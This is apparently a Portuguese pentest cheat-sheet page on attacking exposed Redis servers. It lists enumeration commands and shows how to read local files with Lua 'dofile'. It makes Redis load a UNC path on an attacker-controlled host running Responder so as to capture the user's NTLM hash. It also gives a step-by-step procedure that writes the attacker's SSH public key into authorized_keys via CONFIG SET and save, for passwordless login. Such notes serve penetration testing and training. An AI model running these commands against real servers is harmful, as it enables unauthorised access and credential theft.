Redis

Comandos Básicos

Modo Interativo

Conectando ao host

redis-cli -h <ip>

Após se conectar, utilize os comandos abaixo para buscar a maior quantidade de informações possíveis.

COMANDO

DESCRIÇÃO

INFO

Informações sobre a execução do Redis

client list

Lista todos os clientes que estão conectados no momento

SET <key> <value>

Define um determinado valor em uma variável

GET <key>

Exibe o valor de determinada variável

CONFIG GET *

Retorna todas as configurações

CONFIG GET dir

Retorna as configurações do diretório atual

CONFIG SET dir </path/directory>

Define um diretório. Isso também pode ser útil para saber se determinado diretório existe no servidor ou não

INFO keyspace

Buscando por todos os keyspaces (databases). Por padrão, o Redis usará o banco de dados 0, mas note que pode haver mais, como o 1, por exemplo. Note que ele possui uma determinada quantidade de keys que pode ser lido (dump)

= Utilize o comando acima para saber o número do keyspace.

Utilize o comando acima para saber o número do keyspace

KEYS *

Execute somente depois de selecionar o keyspace utilizando o comando acima, pois assim irá fazer o dump das chaves de um determinado keyspace

GET <key>

Pegando o valor de determinado key, resultante do comando acima

--stat

Status atual

Lendo Arquivos Locais

eval "dofile('C:\\\\Users\\\\<user>\\\\Desktop\\\\<file.txt>')" 0

Pegando Hash do Usuário

Primeiro ative o Responder com o comando:

responder -I <interface> -rdvw

Depois acesse o Redis no modo interativo (comando no início dessa página) e depois execute os comandos:

# Lendo arquivo remoto
eval "dofile('//<ip_atacante>/share')" 0

Ao acessarmos o servidor remoto (que executa o Responder), somos capazes de pegar o usuário presente no host alvo e sua hash. Próximo passo agora, é quebrar esse hash através de um Brute Force (clique no link abaixo para mais detalhes).

Offline

Modo não Interativo

Verificando status do atual do Redis

redis-cli -h <ip> --stat

Executando o comando no Redis sem deixa o terminal no modo interativo

redis-cli -h <ip> -p <port> -r -x <command>

Executa o comando ping determinada quantidade de vezes

redis-cli -h <ip> -p <port> -r <quantidade> ping

Listando variáveis

redis-cli -h <ip> -p <port> --scan

Pegando Acesso SSH via Redis

Redis na versão 4.0 e 5.0 são vulneráveis a execução de comando sem precisar de autenticação. Note que o parâmetro -p por default será 6379.

# Gerando chave SSH
# Vide na seção Utilização do Linux para mais detalhes
ssh-keygen -t rsa
# Caso a linha abaixo dê erro, substitua os 2 "\n\n" por "\r\n"
(echo -e "\n\n" ; cat ~/.ssh/id_rsa.pub ; echo -e "\n\n") > ~/key.txt
cat ~/key.txt | redis-cli -h <ip> -p <port> -x set ssh_key

# Redis
redis-cli -h <ip> -p <port>
# Altere para outro diretorio se preciso, como /home/redis/.ssh
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
save
exit

# Acessando via SSH (sem precisar de senha)
ssh redis@<ip>

Sites

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

Last updated

Was this helpful?